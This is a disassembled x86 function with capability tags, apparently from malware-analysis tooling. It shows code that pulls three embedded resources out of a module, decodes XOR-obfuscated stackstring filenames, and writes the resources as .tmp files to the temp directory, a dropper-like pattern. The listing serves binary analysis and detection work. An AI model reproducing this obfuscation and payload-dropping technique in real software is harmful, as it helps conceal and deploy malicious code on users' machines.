Function at 0x1003df80
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Extract resource via kernel32 functions
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1008f190
mov eax, dword fs:[0]
push eax
sub esp, 0x324
mov eax, dword [0x100bc570]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
lea eax, [ebp - 0x260]
push eax
push 0x1003e6a0
push 4
mov dword [ebp - 0x260], 0
call ebx
push 0xff
push 0xfe
push dword [ebp - 0x260]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
mov dword [ebp - 0x264], 0
lea eax, [ebp - 0x264]
push eax
push 0x1003e6a0
push 4
call ebx
push edi
push dword [ebp - 0x264]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
mov dword [ebp - 0x268], 0
lea eax, [ebp - 0x268]
push eax
push 0x1003e6a0
push 4
call ebx
push edi
push dword [ebp - 0x268]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 1
lea ecx, [ebp - 0x330]
mov esi, eax
call fcn.10037630
lea eax, [ebp - 0x220]
mov dword [ebp - 4], 0
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [ebp - 0x234], 0x33
mov eax, dword [ebp - 0x234]
xor al, 0x25
mov byte [ebp - 0x230], al
mov eax, dword [ebp - 0x234]
inc al
xor al, 0x73
mov byte [ebp - 0x22f], al
mov eax, dword [ebp - 0x234]
add al, 2
xor al, 0x51
mov byte [ebp - 0x22e], al
mov eax, dword [ebp - 0x234]
add al, 3
xor al, 0x54
mov byte [ebp - 0x22d], al
mov eax, dword [ebp - 0x234]
add al, 4
xor al, 0x52
mov byte [ebp - 0x22c], al
mov eax, dword [ebp - 0x234]
add al, 5
xor al, 0x53
mov byte [ebp - 0x22b], al
mov eax, dword [ebp - 0x234]
add al, 6
xor al, 0x43
mov byte [ebp - 0x22a], al
mov eax, dword [ebp - 0x234]
add al, 7
xor al, 0x43
mov byte [ebp - 0x229], al
mov eax, dword [ebp - 0x234]
add al, 8
xor al, 0x34
mov byte [ebp - 0x228], al
mov eax, dword [ebp - 0x234]
add al, 9
xor al, 0x34
mov byte [ebp - 0x227], al
mov eax, dword [ebp - 0x234]
add al, 0xa
xor al, 0x2e
mov byte [ebp - 0x226], al
mov eax, dword [ebp - 0x234]
add al, 0xb
xor al, 0x74
mov byte [ebp - 0x225], al
mov eax, dword [ebp - 0x234]
add al, 0xc
xor al, 0x6d
mov byte [ebp - 0x224], al
mov eax, dword [ebp - 0x234]
add al, 0xd
mov byte [ebp - 0x222], 0
xor al, 0x70
xor edx, edx
mov byte [ebp - 0x223], al
mov al, byte [ebp - 0x230]
nop
mov al, byte [ebp + edx - 0x230]
mov ecx, dword [ebp - 0x234]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x230], cl
inc edx
cmp edx, 0xe
jb 0x1003e160
lea eax, [ebp - 0x220]
mov byte [ebp - 0x222], 0
push eax
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.100372f0
add esp, 0xc
lea eax, [ebp - 0x118]
lea ecx, [ebp - 0x330]
push 0x40
push 0x12
push eax
call fcn.1005bd60
cmp dword [ebp - 0x2e0], 0
je 0x1003e1db
push 0
push edi
push esi
lea ecx, [ebp - 0x330]
call fcn.10022250
lea ecx, [ebp - 0x330]
call fcn.100477b0
lea eax, [ebp - 0x26c]
mov dword [ebp - 0x26c], 0
push eax
push 0x1003e6a0
push 4
call ebx
push 0xff
push 0xfd
push dword [ebp - 0x26c]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
mov dword [ebp - 0x270], 0
lea eax, [ebp - 0x270]
push eax
push 0x1003e6a0
push 4
call ebx
push edi
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
mov dword [ebp - 0x274], 0
lea eax, [ebp - 0x274]
push eax
push 0x1003e6a0
push 4
call ebx
push edi
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x25c], 0x31
mov esi, eax
mov byte [ebp - 0x258], 0x14
xor edx, edx
mov byte [ebp - 0x257], 0x42
mov byte [ebp - 0x256], 0x60
mov byte [ebp - 0x255], 0x65
mov byte [ebp - 0x254], 0x63
mov byte [ebp - 0x253], 0x62
mov byte [ebp - 0x252], 0x72
mov byte [ebp - 0x251], 0x72
mov byte [ebp - 0x250], 5
mov byte [ebp - 0x24f], 4
mov byte [ebp - 0x24e], 0x1f
mov byte [ebp - 0x24d], 0x45
mov byte [ebp - 0x24c], 0x5c
mov byte [ebp - 0x24b], 0x41
mov al, byte [ebp - 0x258]
mov byte [ebp - 0x24a], 0
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + edx - 0x258]
mov ecx, dword [ebp - 0x25c]
xor cl, al
mov byte [ebp + edx - 0x258], cl
inc edx
cmp edx, 0xe
jb 0x1003e2f0
lea eax, [ebp - 0x220]
mov byte [ebp - 0x24a], 0
push eax
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.100372f0
add esp, 0xc
lea eax, [ebp - 0x118]
lea ecx, [ebp - 0x330]
push 0x40
push 0x12
push eax
call fcn.1005bd60
cmp dword [ebp - 0x2e0], 0
je 0x1003e369
push 0
push edi
push esi
lea ecx, [ebp - 0x330]
call fcn.10022250
lea ecx, [ebp - 0x330]
call fcn.100477b0
lea eax, [ebp - 0x278]
mov dword [ebp - 0x278], 0
push eax
push 0x1003e6a0
push 4
call ebx
push 0xff
push 0xfb
push dword [ebp - 0x278]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
mov dword [ebp - 0x27c], 0
lea eax, [ebp - 0x27c]
push eax
push 0x1003e6a0
push 4
call ebx
push edi
push dword [ebp - 0x27c]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
mov dword [ebp - 0x280], 0
lea eax, [ebp - 0x280]
push eax
push 0x1003e6a0
push 4
call ebx
push edi
push dword [ebp - 0x280]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x248], 0x41
mov esi, eax
mov ecx, dword [ebp - 0x248]
xor cl, 0x25
mov byte [ebp - 0x244], cl
mov ecx, dword [ebp - 0x248]
inc cl
xor cl, 0x73
mov byte [ebp - 0x243], cl
mov eax, dword [ebp - 0x248]
add al, 2
xor al, 0x51
mov byte [ebp - 0x242], al
mov eax, dword [ebp - 0x248]
add al, 3
xor al, 0x54
mov byte [ebp - 0x241], al
mov eax, dword [ebp - 0x248]
add al, 4
xor al, 0x52
mov byte [ebp - 0x240], al
mov eax, dword [ebp - 0x248]
add al, 5
xor al, 0x53
mov byte [ebp - 0x23f], al
mov eax, dword [ebp - 0x248]
add al, 6
xor al, 0x43
mov byte [ebp - 0x23e], al
mov eax, dword [ebp - 0x248]
add al, 7
xor al, 0x43
mov byte [ebp - 0x23d], al
mov eax, dword [ebp - 0x248]
add al, 8
xor al, 0x34
mov byte [ebp - 0x23c], al
mov eax, dword [ebp - 0x248]
add al, 9
xor al, 0x37
mov byte [ebp - 0x23b], al
mov eax, dword [ebp - 0x248]
add al, 0xa
xor al, 0x2e
mov byte [ebp - 0x23a], al
mov eax, dword [ebp - 0x248]
add al, 0xb
xor al, 0x74
mov byte [ebp - 0x239], al
mov eax, dword [ebp - 0x248]
add al, 0xc
xor al, 0x6d
mov byte [ebp - 0x238], al
mov eax, dword [ebp - 0x248]
add al, 0xd
mov byte [ebp - 0x236], 0
xor al, 0x70
mov byte [ebp - 0x237], al
mov al, byte [ebp - 0x244]
xor eax, eax
nop
mov cl, byte [ebp + eax - 0x244]
mov edx, dword [ebp - 0x248]
add dl, al
xor dl, cl
mov byte [ebp + eax - 0x244], dl
inc eax
cmp eax, 0xe
jb 0x1003e4f0
lea eax, [ebp - 0x220]
mov byte [ebp - 0x236], 0
push eax
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.100372f0
add esp, 0xc
lea eax, [ebp - 0x118]
lea ecx, [ebp - 0x330]
push 0x40
push 0x12
push eax
call fcn.1005bd60
cmp dword [ebp - 0x2e0], 0
je 0x1003e57a
push 0
push edi
push esi
lea ecx, [ebp - 0x330]
call fcn.10022250
lea ecx, [ebp - 0x330]
call fcn.100477b0
lea eax, [ebp - 0x118]
push eax
call fcn.10031a00
add esp, 4
mov eax, dword [ebp - 0x330]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x334], eax
lea ecx, [ebp - 0x32c]
call fcn.10010820
mov eax, dword [ebp - 0x330]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x334], eax
lea eax, [ebp - 0x2c8]
mov dword [ebp - 4], 1
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.100641a9
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10064a7b
mov esp, ebp
pop ebp
ret